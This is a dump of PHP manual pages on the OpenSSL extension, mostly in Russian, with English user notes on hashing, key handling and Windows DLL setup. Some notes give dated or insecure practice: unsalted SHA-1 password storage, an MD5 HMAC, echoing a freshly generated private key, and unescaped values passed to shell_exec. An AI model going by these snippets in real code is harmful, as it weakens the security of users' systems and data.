
Thanks a lot, Lance.....

Fernan
jerry d0t wilborn at fast d0t net 02-Jul-2004 09:36
in responce to lance's post:

the function comes back with a hex representation of the hmac, if you wish to convert to what mhash returns natively (binary) use:  pack("H*", hmac(variables...));
lance_rushing at hot* spamfree *mail dot com 09-Jul-2003 05:02
Don't forget php has two built in hashing algorithms:

md5(), and sha1()

So if you are using: mhash(MHASH_MD5, $str) or mhash(MHASH_SHA1, $str) you could use md5($str) or sha1($str).

** But remember that md5() and sha1() produce HEX output while mhash() produces a BIN output.  So:

md5($str) == bin2hex(mhash(MHASH_MD5, $str))
sha1($str) == bin2hex(mhash(MHASH_SHA1, $str))

AND

pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)

(Just remember to pack() or bin2hex() your output to get the output you need)

-Lance
lance_rushing at hot* spamfree *mail dot com 27-Nov-2002 08:36
Want to Create a md5 HMAC, but don't have hmash installed?

Use this:

function hmac ($key, $data)
{
    // RFC 2104 HMAC implementation for php.
    // Creates an md5 HMAC.
    // Eliminates the need to install mhash to compute a HMAC
    // Hacked by Lance Rushing

    $b = 64; // byte length for md5
    if (strlen($key) > $b) {
        $key = pack("H*",md5($key));
    }
    $key  = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
    $k_ipad = $key ^ $ipad ;
    $k_opad = $key ^ $opad;

    return md5($k_opad  . pack("H*",md5($k_ipad . $data)));
}

-----
To test:
Run this on a server _with_ mhash installed:

$key = 'Jefe';
$data = "what do ya want for nothing?";
echo hmac($key, $data);
echo "&lt;br&gt;\n";
echo bin2hex (mhash(MHASH_MD5, $data, $key));

should produce:

750c783e6ab0b503eaa86e310a5db738
750c783e6ab0b503eaa86e310a5db738

Happy hashing.
luc at 2113 dot ch 28-Dec-2001 05:42
Netscape messaging / directory server 4+ uses SHA-1
to store password in the ldap database (slapd).
The password is first SHA-1 hashed then base64 encoded:

$pwd = "secret";
$hash = "{SHA}".base64_encode( mHash(MHASH_SHA1, $pwd));
echo "Hash: ". $hash ;
paulj at 5emedia dot net 06-Dec-2001 10:02
Many digest algorithms (especially MD5) are less secure if you are hashing data that is smaller than the algorithm's output.  I recommend either hashing a secret key/salt with the original data to increase it's security.


OpenSSL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
    • Флаги проверки
    • Флаги заполнения для ассиметричного шифрования
    • Типы ключей
    • Флаги/константы PKCS7
    • Флаги/Константы CMS
    • Алгоритмы подписи
    • Алгоритмы шифрования
    • Константы версий
    • Константа SNI (Server Name Indication)
    • Другие константы
  • Параметры ключа/сертификата
  • Проверка сертификатов
  • Функции OpenSSL
    • openssl_cipher_iv_length — Получает длину инициализирующего вектора шифра
    • openssl_cipher_key_length — Получает длину ключа шифрования
    • openssl_cms_decrypt — Расшифровывает CMS-сообщение
    • openssl_cms_encrypt — Зашифровывает CMS-сообщение
    • openssl_cms_read — Экспортирует файл CMS в массив сертификатов PEM
    • openssl_cms_sign — Подписывает файл
    • openssl_cms_verify — Проверяет подпись CMS
    • openssl_csr_export_to_file — Экспортирует CSR в файл
    • openssl_csr_export — Экспортирует CSR в виде строки
    • openssl_csr_get_public_key — Возвращает открытый ключ CSR
    • openssl_csr_get_subject — Возвращает субъект CSR
    • openssl_csr_new — Генерирует CSR
    • openssl_csr_sign — Подписать CSR с помощью другого сертификата (или им же) и создать сертификат
    • openssl_decrypt — Расшифровывает данные
    • openssl_dh_compute_key — Вычисляет общий секретный ключ для значения удалённого открытого ключа DH и локального ключа DH
    • openssl_digest — Вычисление дайджеста
    • openssl_encrypt — Шифрует данные
    • openssl_error_string — Возвращает сообщение об ошибке openSSL
    • openssl_free_key — Высвобождение ресурса ключа
    • openssl_get_cert_locations — Получить доступные месторасположения сертификатов
    • openssl_get_cipher_methods — Получить список доступных алгоритмов шифрования
    • openssl_get_curve_names — Список доступных имён кривых для ECC
    • openssl_get_md_methods — Получить список доступных методов хеширования
    • openssl_get_privatekey — Псевдоним openssl_pkey_get_private
    • openssl_get_publickey — Псевдоним openssl_pkey_get_public
    • openssl_open — Открыть запечатанные данные
    • openssl_pbkdf2 — Генерирует строки PKCS5 v2 PBKDF2
    • openssl_pkcs12_export_to_file — Экспортирует в совместимый с PKCS#12 файл хранилища сертификатов
    • openssl_pkcs12_export — Экспортирует совместимый с PKCS#12 файл хранилища сертификатов в переменную
    • openssl_pkcs12_read — Разбирает хранилище сертификатов PKCS#12 в массив
    • openssl_pkcs7_decrypt — Расшифровать сообщение, зашифрованное S/MIME
    • openssl_pkcs7_encrypt — Шифрует сообщение S/MIME
    • openssl_pkcs7_read — Экспортировать файл PKCS7 в массив сертификатов PEM
    • openssl_pkcs7_sign — Подписать сообщение S/MIME
    • openssl_pkcs7_verify — Проверить подпись сообщения S/MIME
    • openssl_pkey_derive — Вычисляет общий секрет для открытого значения удалённого и локального ключа DH или ECDH
    • openssl_pkey_export_to_file — Записывает в файл ключ в формате PEM
    • openssl_pkey_export — Получает строку с ключом в формате PEM
    • openssl_pkey_free — Освобождает ресурс закрытого ключа
    • openssl_pkey_get_details — Получает массив с детальной информацией о ключе
    • openssl_pkey_get_private — Получить закрытый ключ
    • openssl_pkey_get_public — Извлекает открытый ключ из сертификата и подготавливает его к использованию
    • openssl_pkey_new — Генерирует новый закрытый ключ
    • openssl_private_decrypt — Расшифровывает данные с помощью закрытого ключа
    • openssl_private_encrypt — Шифрует данные секретным ключом
    • openssl_public_decrypt — Расшифровка данных с помощью открытого ключа
    • openssl_public_encrypt — Шифрование данных открытым ключом
    • openssl_random_pseudo_bytes — Генерирует псевдослучайную последовательность байт
    • openssl_seal — Запечатать (зашифровать) данные
    • openssl_sign — Генерация подписи
    • openssl_spki_export_challenge — Экспорт вызова, связанного с подписанным ключом и вызовом
    • openssl_spki_export — Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом
    • openssl_spki_new — Создание нового подписанного открытого ключа с вызовом
    • openssl_spki_verify — Проверяет подписанный открытый ключ и вызов
    • openssl_verify — Сверка сигнатуры
    • openssl_x509_check_private_key — Проверить, относится ли секретный ключ к сертификату
    • openssl_x509_checkpurpose — Проверяет, можно ли использовать сертификат для конкретных задач
    • openssl_x509_export_to_file — Экспортирует сертификат в файл
    • openssl_x509_export — Экспортирует сертификат в строку
    • openssl_x509_fingerprint — Вычисляет отпечаток или дайджест, заданный сертификатом X.509
    • openssl_x509_free — Высвобождает ресурс сертификата
    • openssl_x509_parse — Разобрать сертификат X509 и получить массив с данными о нем
    • openssl_x509_read — Разобрать сертификат X.509 и вернуть для него объект
    • openssl_x509_verify — Проверка цифровой подписи сертификата x509 с помощью публичного ключа
  • OpenSSLCertificate — Класс OpenSSLCertificate
  • OpenSSLCertificateSigningRequest — Класс OpenSSLCertificateSigningRequest
  • OpenSSLAsymmetricKey — Класс OpenSSLAsymmetricKey

User Contributed Notes

james at NOSPAM dot gmail dot com 13-Jul-2016 10:01
In regards to the comment above:

"After generating a key pair with OpenSSL, the public key can be stored in plain text format. I then encrypted the private key itself using regular mcrypt with the human-memorizable key of my choice and converted it to ACSII using base64_encode. Then to get the private key back, I just decrypted it with mcrypt. This way I could store the encrypted private key on the server without worrying about having things stored unencrypted. "

To anyone reading this that might not be all that familiar with public key cryptography; I haven't the slightest idea what this person is talking about, but I can tell you its an absolutely horrible idea.  He might have ended up with something that "looked like a private key" insofar as it was a base64 encoded string, but he did not have a private key.  The parameters that make up a public/private key pair are EXTREMELY specific and in the case of RSA rely on very large co-primes plus an even larger moduli.  Its not just a base64 encoded string; and just for the record... base64 encoding is not encryption.

One of two things happened; the more likely is the whatever program he needed the certificate for realized there was something wrong with the private key, and ignored it, reverting to either a default key, or null encryption or something.  The worse outcome would be if it interpreted whatever was there as legitimate; and encrypted data as if it were a a proper certificate; encrypting this way would likely provide close to zero security and I'm not even sure you could decrypt the data once encrypted.  Its not worth giving much thought.

Just please; don't do this.

You can read about pki certificate structures and attribute frameworks by pasting "T-REC-X.509-201210-I" into your favorite interwebs search widget and following the result to the International Telecommunications Union webpage, or you can refer to the numerous RFCs; 6818, 5820 being good places to start. The Internet Engineering Task Force archives all RFCs, but there are other sources as well.  "IETF RFC" should be enough to get you there.

...sorry, the "spam buster" was giving me all kinds of issues.
bdh dot hall at gmail dot com 29-May-2009 03:18
I was having a heck of a time finding help on making asynchronous encryption/decryption using private key/public key systems working, and I had to have it for creating a credit card module that uses recurring billing.

You'd be a fool to use normal, 'synchronous' or two-way encryption for this, so the whole mcrypt library won't help.

But, it turns out OpenSSL is extremely easy to use...yet it is so sparsely documented that it seems it would be incredibly hard.

So I share my day of hacking with you - I hope you find it helpful!

<?php

if (isset($_SERVER['HTTPS']) )
{
    echo "SECURE: This page is being accessed through a secure connection.<br><br>";
}
else
{
    echo "UNSECURE: This page is being access through an unsecure connection.<br><br>";
}

// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privatekey);

// Get public key
$publickey=openssl_pkey_get_details($res);
$publickey=$publickey["key"];

echo "Private Key:<BR>$privatekey<br><br>Public Key:<BR>$publickey<BR><BR>";

$cleartext = '1234 5678 9012 3456';

echo "Clear text:<br>$cleartext<BR><BR>";

openssl_public_encrypt($cleartext, $crypttext, $publickey);

echo "Crypt text:<br>$crypttext<BR><BR>";

openssl_private_decrypt($crypttext, $decrypted, $privatekey);

echo "Decrypted text:<BR>$decrypted<br><br>";
?>

Many thanks to other contributors in the docs for making this less painful.

Note that you will want to use these sorts of functions to generate a key ONCE - save your privatekey offline for decryption, and put your public key in your scripts/configuration file. If your data is compromised you don't care about the encrypted stuff or the public key, it's only the private key and cleartext that really matter.

Good luck!
koen dot thomeer at pubmed dot be 31-Aug-2008 10:27
For checking the status of a client certificate using OCSP, you can use this script:

<?php
// User variables:
$dir = '/path/to/temp/'; // Directory where apache has access to (chmod 777).
$RootCA = '/path/to/Root.cer'; // Points to the Root CA in PEM format.
$OCSPUrl = 'http://ocsp.url'; //Points to the OCSP URL
// Script:
$a = rand(1000,99999); // Needed if you expect more page clicks in one second!
file_put_contents($dir.$a.'cert_i.pem', $_SERVER['SSL_CLIENT_CERT_CHAIN_0']); // Issuer certificate.
file_put_contents($dir.$a.'cert_c.pem', $_SERVER['SSL_CLIENT_CERT']); // Client (authentication) certificate.
$output = shell_exec('openssl ocsp -CAfile '.$RootCA.' -issuer '.$dir.$a.'cert_i.pem -cert '.$dir.$a.'cert_c.pem -url '.$OCSPUrl);
$output2 = preg_split('/[\r\n]/', $output);
$output3 = preg_split('/: /', $output2[0]);
$ocsp = $output3[1];
echo "OCSP status: ".$ocsp; // will be "good", "revoked", or "unknown"
unlink($dir.$a.'cert_i.pem');
unlink($dir.$a.'cert_c.pem');
?>

It can be ameliorated, but it's just a beginning!

Normally, you can extract the ocsp url from the client certificate. Also, an OCSP request contains only the hash of the issuer name, the hash of the issuer's key, and the serial number of the client certificate. All three can be extracted directly from the client certificate.


Введение

Этот модуль использует функции библиотеки » OpenSSL для симметричных и асимметричных шифрования и дешифровки, PBKDF2, PKCS7, PKCS12, X509 и других криптографических операций. Также оно реализует потоки TLS.

OpenSSL предоставляет множество возможностей, которые, на данный момент, не поддерживаются этим модулем. Многие из них в будущем будут добавлены.

User Contributed Notes

gramo dot gnu at gmail dot com 23-Jun-2020 07:47
It is also well accepted the spanish word "codificar" and  "decodificar" as translation of "encrypt" an "decrypt"

English - Spanish
encrypt - cifrar, codificar
encryption - cifrado, codificado
decryp - descifrar, decodificar
decryption - descifrado, decodificado

Please avoid the erroneous word "encriptar" / "desencriptar"
peugnet at mail dot com 09-May-2018 05:45
There is a translation error in the spanish version.
The word "encrypt" should translate "cifrar", not "encriptar"
and "decrypt" should translate "cifrar", not "desencriptar".

Here the correct translations:
english - spanish

encrypt - cifrar
encryption - cifrado
decryp - descifrar
decryption - descifrado


Требования

Для использования функций OpenSSL вам необходимо установить библиотеку » OpenSSL. Для версии PHP 7.0 требуется OpenSSL >= 0.9.8, < 1.2. Для версии PHP 7.1-8.0 требуется OpenSSL >= 1.0.1, < 3.0. Для версии PHP >= 8.1 требуется OpenSSL >= 1.0.2, < 4.0.

Внимание

Настоятельно рекомендуем использовать поддерживаемую версию OpenSSL, в противном случае ваш веб-сервер может быть уязвим для атак.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для поддержки OpenSSL в PHP вам необходимо скомпилировать его с опцией --with-openssl[=DIR].

Также библиотека OpenSSL имеет дополнительные требования для нормальной работы во время исполнения. Самое главное, OpenSSL требуется доступ к генераторам случайных и псевдослучайных чисел; на большинстве систем Unix/Linux, это означает доступ к устройствам /dev/urandom или /dev/random.

Опция конфигурации --with-system-ciphers заставляет PHP использовать системный список шифров вместо жёстко заданного по умолчанию.

Замечание: Замечания для пользователей Win32

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: libeay32.dll, либо, начиная с OpenSSL 1.1, libcrypto-*.dll.

Дополнительно, если вы собираетесь использовать функции генерации ключей и подписи сертификатов, вам придётся установить корректный файл openssl.cnf в вашей системе. Мы включили демонстрационный конфигурационный файл в бинарную поставку под win32. Он лежит в директории extras/ssl.

PHP будет искать openssl.cnf, используя следующую логику:

  • Переменная окружения OPENSSL_CONF. Если установлена, то должна содержать путь (включая имя файла) до конфигурационного файла.
  • переменная окружения SSLEAY_CONF. Если установлена, то должна содержать путь (включая имя файла) до конфигурационного файла.
  • Файл openssl.cnf будет искаться по стандартному пути для сертификатов, заданному при компиляции DLL. Обычно он задан как C:\Program Files\Common Files\SSL\openssl.cnf (x64) или C:\Program Files (x86)\Common Files\SSL\openssl.cnf (x86), или до PHP 7.4.0, как C:\usr\local\ssl\openssl.cnf.

При установке вы должны определить, установить ли файл по стандартному пути или хранить его в другом месте и задать путь к нему через переменные окружения, что полезно при использовании виртуальных хостов. Обратите внимание, что путь по умолчанию можно переопределить в скрипте используя параметр options функции, которой требуется этот файл.
Предостережение

Убедитесь, что непривилегированным пользователям не разрешено изменять openssl.cnf.

Список изменений

Версия | Описание
7.4.0 | Конфигурационный путь OpenSSL был изменён с C:\usr\local\ssl на C:\Program Files\Common Files\SSL или C:\Program Files (x86)\Common Files\SSL, соответственно.

User Contributed Notes

php-net-comment at shaunc dot com 15-Jan-2022 07:08
FreeBSD includes a modern version of OpenSSL as part of its base system, but doesn't appear to have a pkg-config file, so the PHP configure script can't find the libraries. When compiling PHP on FreeBSD, you should define the OPENSSL_LIBS and OPENSSL_CFLAGS environment variables before running PHP's configure. For FreeBSD 12, the following will work:

export OPENSSL_LIBS="-L/usr -lssl -lcrypto -lz" && export OPENSSL_CFLAGS="-I/usr/include" && ./configure --with-openssl [...other configure options...]
vitoandre.doria 21-Jun-2018 06:31
As pointed out here http://php.net/manual/de/reserved.variables.environment.php#98113 make sure that variables_order = "EGPCS" is set in your php.ini (might come without the E flag which means ignore Env variables) otherwise PHP will ignore your Environment variables. This should be part of the documentation btw...
epos_jk 27-Nov-2017 04:26
You dont need to copy files to use OpenSSL with Apache 2.4 - use the LoadFile directive in your apache config file instead:
e.g.
LoadFile "C:/php7/libcrypto-1_1-x64.dll"
LoadFile "C:/php7/libssl-1_1-x64.dll"
LoadFile "C:/php7/libssh2.dll"
epos_jk 27-Nov-2017 04:23
Beginning with version 1.1.0 OpenSSL did change their libary names!
libeay32.dll is now libcrypto-*.dll (e.g. libcrypto-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
ssleay32.dll is now libssl-*.dll (e.g. libssl-1_1-x64.dll for OpenSSL 1.1.x on 64bit windows)
anrdaemon at freemail dot ru 08-Nov-2014 11:16
If you want to configure Apache2 under Windows to use OpenSSL - please, for the love of God, do NOT copy around, or even worse - overwrite any DLL's.
First, modern Apache2 is shipped with relevant libraries, second - even if, for some reason, it can't find the right now - you can TELL it to use the right ones.
LoadLibrary.
Yes.
That simple.

LoadLibrary C:/apache2/bin/libeay32.dll
LoadLibrary C:/apache2/bin/ssleay32.dll
LoadLibrary C:/php5/php5ts.dll
LoadModule php5_module C:/php5/php5apache2_4.dll
jaimz at vertigolabs dot org 13-Oct-2014 04:10
I just wanted to point out that when you compile with openssl and you're specifying a directory, the acinclude.m4 and aclocal.m4 use that directory as such:

{your directory}/includes/openssl/{headerfile}

That being said, you want to specify the directory that the includes directory is in, not the specific directory with the header files.

THIS IS WRONG --with-openssl=/usr/local/includes/openssl
THIS IS RIGHT --with-openssl=/usr/local
Alan 11-Oct-2011 11:14
Having recently installed Apache2.2 with PHP 5.2.17 on my Windows 7 development machine, I want to pass along my findings about how to set things up to load the correct versions of the OpenSSL DLLs. Many people have posted elsewhere about the "DLL Hell" that results if the a wrong version is loaded.

First, install Apache 2.2 and check its operation, then download the Windows binaries for PHP from http://windows.php.net/download/. Note that according to the sidebar on that page the recommended version of PHP for use with Apache2 is currently 5.2.17, even though it is back level. Plus, this version comes with all the DLLs you need to use OpenSSL -- no need to recompile as the old PHP man page suggests.

Having verified the PHP installation, turn on the OpenSSL support by uncommenting the line

extension=php_openssl.dll

in php.ini, which you will find in the PHP directory (I'll assume you made that c:/PHP). Next check the location of php_openssl.dll, which you should find in c:/PHP/ext. Also in php.ini find the key extension_dir, and change its value to c:/php/ext. Next, put this location on the end of your PATH (there's no need to reboot).

At this point, when you start Apache it will attempt to load php_openssl.dll, but if your setup is anything like mine you will see an error. I prefer to start Apache manually, and the error appears in a dialog box: "The ordinal 4114 could not be located in the dynamic link library LIBEAY32.dll". (I'm not sure whether you would get this message if you started Apache as a service). The Apache log also contains an error message saying that php_openssl.dll cannot be loaded, though that message doesn't name libeay32.dll. Welcome to DLL Hell.

Libeay32.dll enters the picture because php_openssl.dll depends on it (and also on ssleay32.dll). What I think happens is that Apache first tries to load php_openssl.dll programmatically from the path specified by the extension_dir key. But then, the loading of the so-called dependent DLLs is left to Windows' default mechanism. If Windows finds an incompatible version of a dependent DLL, you get the error.

So clearly the fix is to ensure that the correct version of libeay32.dll is loaded. On my machine, at least three other processes have loaded various versions of this same DLL. They include the Mozy backup client, Windows Explorer (because Mozy installs support in Explorer) and the OpenOffice suite. My machine is quite different in this respect from a dedicated server on which one probably wants as few extraneous processes as possible.  Presumably on a server one can follow advice that suggests copying the dlls to the system32 directory, for example. But I'm not about to mess with my other programs by making system-wide changes.

So what to do? I didn't find the available information on how Windows searches for DLLs to be very useful, mainly because I didn't understand it. But it does say that the first place Windows looks is "The directory from which the application loaded."

To cut to the chase, after a lot of experimentation I came to a key realization -- "the application" is APACHE, not PHP. So I copied libeay32.dll to the Apache2.2/bin directory. Problem solved. No error messages and running phpinfo confirms that OpenSSL is present and enabled.

Good luck, and stay out of DLL Hell.
Fernando rubio 05-Jun-2011 11:20
OpenSSL and IIS

Open php.ini
uncomment the following:
extension=php_openssl.dll

Make sure you have config the following section pointing to your php install directory (in my case is located in a second partition at e:\php) (very recommended practice)

; Directory in which the loadable extensions (modules) reside.
extension_dir = "e:/php/ext"

Add your php directory to the PATH variable

start>run>type cmd
on windows console type:
set PATH=%PATH%;e:\php
(remember replace e:\php with YOUR directory)
(note that using %path% is the same as var+=value, so the directory will be appended at the end of the variable)

php5 come with all the dll in the zip package so if you add the php directory to the path variable, you don't need to move anything to your windows system directory (very safe for later updates, because you just replace the content of your php directory)

After all these step you ready.. but of course you need to restart your IIS to apply changes, so

start>run>inetsrv/iis.msc
right click on your computer
all task>restart IIS

done!
mtudor AT icefusion remove me DOT co uk 24-Oct-2008 04:52
SYMPTOMS AND SETUP
------------------

For anyone having problems enabling the PHP openssl extension on WINDOWS.

I uncommented:  extension=php_openssl.dll  and installed the latest versions of ssleay.dll and libeay.dll in <windows>\system32.

When I restarted my web server and examined phpinfo(), there was no "openssl" headed section (although there were references to openssl in other sections).

I also found this error in my web server logs (<apache dir>/logs/ssl.log and <apache dir>/logs/access.log).

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\Program Files\\PHP\\ext\\php_openssl.dll' - The operating system cannot run %1.\r\n in Unknown on line 0

I have PHP 5.2.6 running on Apache 2.2.3 for Windows.

CAUSE
-----

This was caused by PHP picking up the WRONG VERSIONS of libeay.dll and ssleay.dll, which were present in multiple locations on my computer.

When any application attempts to use a dll file in windows, the system searches for this file using the following order:
   1. The directory from which the application loaded.
   2. The windows\system32 directory.
   3. The windows\system directory.
   4. The windows directory.
   5. The current directory.
   6. The directories that are listed in the PATH environment variable.

   (http://msdn.microsoft.com/en-us/library/ms682586.aspx)

For PHP running under Apache, the application directory is <apache dir>\bin and NOT <php dir>.  PHP was finding OUT OF DATE versions of libeay.dll and ssleay.dll in <apache dir>\bin (probably installed when I enabled SSL support in my web server).  Because of this, the latest versions in windows\system32 were never reached.

NOTE: Although my problem was caused by an Apache2 specific configuration, I can imagine others might face this problem if, say, they install the openssl dlls in the PHP directory and add this directory to the PATH.  I haven't checked it but I would imagine if another directory in the path contains outdated openssl dlls and this is listed before the PHP directory, a similar situation would occur.

SOLUTION
--------

Either replace the dlls in the first location on the search order, or, as I did, you can install the latest openssl dlls in the the windows system32 directory and just rename to .old the ssleay.dll and libeay.dll files in the search order locations before windows\system32.

Hope that helps others who might be stuck with this.

Mark.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки openssl
Имя | По умолчанию | Место изменения | Список изменений
openssl.cafile | "" | PHP_INI_PERDIR |
openssl.capath | "" | PHP_INI_PERDIR |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

openssl.cafile string

Местоположение файла Certificate Authority на локальной файловой системе, который должен использоваться с опцией контекста verify_peer для аутентификации удалённой точки.

openssl.capath string

Если cafile не задан или сертификат не найден, то директория, указанная в capath будет использована для поиска сертификата. capath должна быть корректно хешированной директорией сертификата.

Также смотрите опции контекста потока SSL.

User Contributed Notes

ofrick at bluewin dot ch 14-Aug-2018 08:52
above code should be corrected to:

                    $Destfile= $ParsedCertificatePbject["hash"].".0";
                    $TargetFilename = dirname($Sourcefile)."/".$Destfile;
mmi at uhb-consulting dot de 30-Apr-2018 08:20
Hashed directory bedeutet die Dateinamen mussen mit dem Openssl hash, den ihr mittels openssl_x509_parse im Wert hash bekommt (Name) + die Dateiendung 0.
Bei doppelten HASH werten wird die Dateiendung incrementiert.
mmi at uhb-consulting dot de 30-Apr-2018 08:17
in capath the Certificates must be placed with the certificates hash as name and .0 as Ending.

Here is how to get the hashes from Certificates lying in this folder and automatically rename them in a correct way:
<?php
    $paths=openssl_get_cert_locations();
    $allowed=array("cer","crt","pem");
    if (!empty($paths['ini_capath'])){
        $capathDirectory = dir($paths['ini_capath']);
        while (false !== ($entry = $capathDirectory->read())) {
            $Sourcefile=$paths['ini_capath']."/".$entry;
            if (file_exists( $Sourcefile)){
                $path_parts = pathinfo($Sourcefile);
                if (in_array(strtolower($path_parts['extension']),$allowed)){
                    $ParsedCertificatePbject = openssl_x509_parse(file_get_contents($Sourcefile));
                    $Sourcefile= $ParsedCertificatePbject["hash"].".0";
                    $TargetFilename = dirname($Sourcefile)."/".$Sourcefile;
                    if (!file_exists($TargetFilename)) {
                        rename ($Sourcefile ,$TargetFilename);
                    }
                }
            }
        }
        $capathDirectory->close();
    }
?>


Типы ресурсов

До PHP 8.0.0 в модуле OpenSSL было определено 3 типа ресурсов:

  • OpenSSL ключ
  • OpenSSL X.509
  • OpenSSL X.509 CSR

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Содержание

  • Флаги проверки
  • Флаги заполнения для ассиметричного шифрования
  • Типы ключей
  • Флаги/константы PKCS7
  • Флаги/Константы CMS
  • Алгоритмы подписи
  • Алгоритмы шифрования
  • Константы версий
  • Константа SNI (Server Name Indication)
  • Другие константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Флаги проверки

X509_PURPOSE_SSL_CLIENT (int)
X509_PURPOSE_SSL_SERVER (int)
X509_PURPOSE_NS_SSL_SERVER (int)
X509_PURPOSE_SMIME_SIGN (int)
X509_PURPOSE_SMIME_ENCRYPT (int)
X509_PURPOSE_CRL_SIGN (int)
X509_PURPOSE_ANY (int)

User Contributed Notes

There are no user contributed notes for this page.


Флаги заполнения для ассиметричного шифрования

OPENSSL_PKCS1_PADDING (int)
OPENSSL_SSLV23_PADDING (int)
OPENSSL_NO_PADDING (int)
OPENSSL_PKCS1_OAEP_PADDING (int)

User Contributed Notes

There are no user contributed notes for this page.


Типы ключей

OPENSSL_KEYTYPE_RSA (int)
OPENSSL_KEYTYPE_DSA (int)
OPENSSL_KEYTYPE_DH (int)
OPENSSL_KEYTYPE_EC (int)
Эта константа доступна, только если PHP скомпилирован с OpenSSL 0.9.8+.

User Contributed Notes

There are no user contributed notes for this page.


Флаги/константы PKCS7

Функции S/MIME используют флаги, которые определяются как набор битов, который может включать одну или несколько следующих констант:

Константы PKCS7
Константа | Описание
PKCS7_TEXT | Добавляет заголовок содержимого text/plain в зашифрованное или подписанное сообщение. При расшифровке или проверке заголовки будут получены при выводе. Если после расшифровки или проверки полученное сообщение не имеет MIME-тип text/plain, произойдёт ошибка.
PKCS7_BINARY | Обычно входящее сообщение приводится к "каноничному" формату, что эффективно при использовании CR и LF в конце строки: это требуется сертификацией S/MIME. Когда данная опция указана, проблем с трансляцией символов конца строки не происходит. Это удобно в случае обработки бинарных данных, которые могут быть не в формате MIME.
PKCS7_NOINTERN | При проверке сообщения, сертификаты (если таковые имеются), включённые в сообщения как правило проверяются на наличие подписи. С данной опцией используются только сертификаты, определённые в параметре extracerts функции openssl_pkcs7_verify(). Все прочие сертификаты остаются неподтверждёнными центром сертификации.
PKCS7_NOVERIFY | Не проверять подписантов сертификата подписанного сообщения.
PKCS7_NOCHAIN | Не проверять подписантов сертификата по цепочке: то есть не использовать сертификаты в подписанном сообщении как неавторизованные центром сертификации.
PKCS7_NOCERTS | При подписании сообщения, сертификат подписанта как правило включается в сообщение - с данной опцией сертификат не добавляется. Это позволяет снизить размер подписанного сообщения, но проверяющий должен иметь копию сертификата подписанта, доступную локально (это не требуется при использовании параметра extracerts функции openssl_pkcs7_verify()).
PKCS7_NOATTR | Обычно, когда сообщение подписано, в набор атрибутов также включается время подписания и поддерживаемый симметричный алгоритм. С помощью данной опции такое добавление не происходит.
PKCS7_DETACHED | При подписании сообщения, используйте подписание в открытом виде (cleartext signing) с MIME-типом "multipart/signed". Это выполняется по умолчанию, если не указывать ничего в flags функции openssl_pkcs7_sign(). Если выключить эту опцию, сообщение будет подписано с использованием opaque signing, что более устойчиво к передаче почтой, но не может быть прочитано почтовыми агентами, которые не поддерживают S/MIME.
PKCS7_NOSIGS | Не пытаться проверить подписи у сообщения
PKCS7_NOOLDMIMETYPE | Доступно, начиная с PHP 8.3.0. Устанавливает тип содержимого application/pkcs7-mime вместо application/x-pkcs7-mime для шифрования сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Флаги/Константы CMS

Функции CMS используют флаги, которые задаются с помощью битового поля, которое может включать одно или несколько следующих значений:

Константы CMS
Константа | Описание
OPENSSL_CMS_TEXT | Добавляет заголовки content-type text/plain в зашифрованное/подписанное сообщение. При расшифровке или проверке эти заголовки удаляются из вывода - если расшифрованное или проверенное сообщение не относится к MIME-типу text/plain, произойдёт ошибка.
OPENSSL_CMS_BINARY | Обычно входное сообщение преобразуется в "каноничный" формат, который эффективно использует CR и LF в качестве конца строки: как требуется спецификацией CMS. Когда присутствует эта опция, перевод не выполняется. Это полезно при обработке двоичных данных, которые могут быть не в формате CMS.
OPENSSL_CMS_NOINTERN | При проверке сообщения, сертификаты (если есть), включённые в сообщение, обычно проверяются на наличие сертификата подписи. С этой опцией используются только сертификаты, указанные в параметре untrusted_certificates_filename в openssl_cms_verify(). Однако предоставленные сертификаты можно использовать как ненадёжные центры сертификации.
OPENSSL_CMS_NOVERIFY | Не проверять сертификат подписавшего у подписанного сообщения.
OPENSSL_CMS_NOCERTS | При подписании сообщения сертификат подписывающей стороны обычно включается - с этой опцией он исключается. Это уменьшит размер подписанного сообщения, но у проверяющего должна быть копия сертификата подписавшего, доступная локально (например, переданная с помощью untrusted_certificates_filename в openssl_cms_verify()).
OPENSSL_CMS_NOATTR | Обычно при подписании сообщения включается набор атрибутов, который включает время подписи и поддерживаемые симметричные алгоритмы. С этой опцией они не включены.
OPENSSL_CMS_DETACHED | При подписании сообщения используйте подпись открытым текстом с MIME-типом "multipart/signed". Это значение по умолчанию, если вы не укажете никаких flags для openssl_cms_sign(). Если вы отключите эту опцию, сообщение будет подписано с использованием непрозрачной подписи, которая более устойчива к переводу почтовыми ретрансляторами, но не может быть прочитана почтовыми агентами, не поддерживающими S/MIME.
OPENSSL_CMS_NOSIGS | Не пытаться проверять подписи в сообщении
OPENSSL_CMS_OLDMIMETYPE | Доступно, начиная с PHP 8.3.0. Устанавливает тип содержимого application/x-pkcs7-mime вместо application/pkcs7-mime для шифрования сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Алгоритмы подписи

OPENSSL_ALGO_DSS1 (int)
OPENSSL_ALGO_SHA1 (int)
Используется как алгоритм по умолчанию для функций openssl_sign() и openssl_verify().
OPENSSL_ALGO_SHA224 (int)
OPENSSL_ALGO_SHA256 (int)
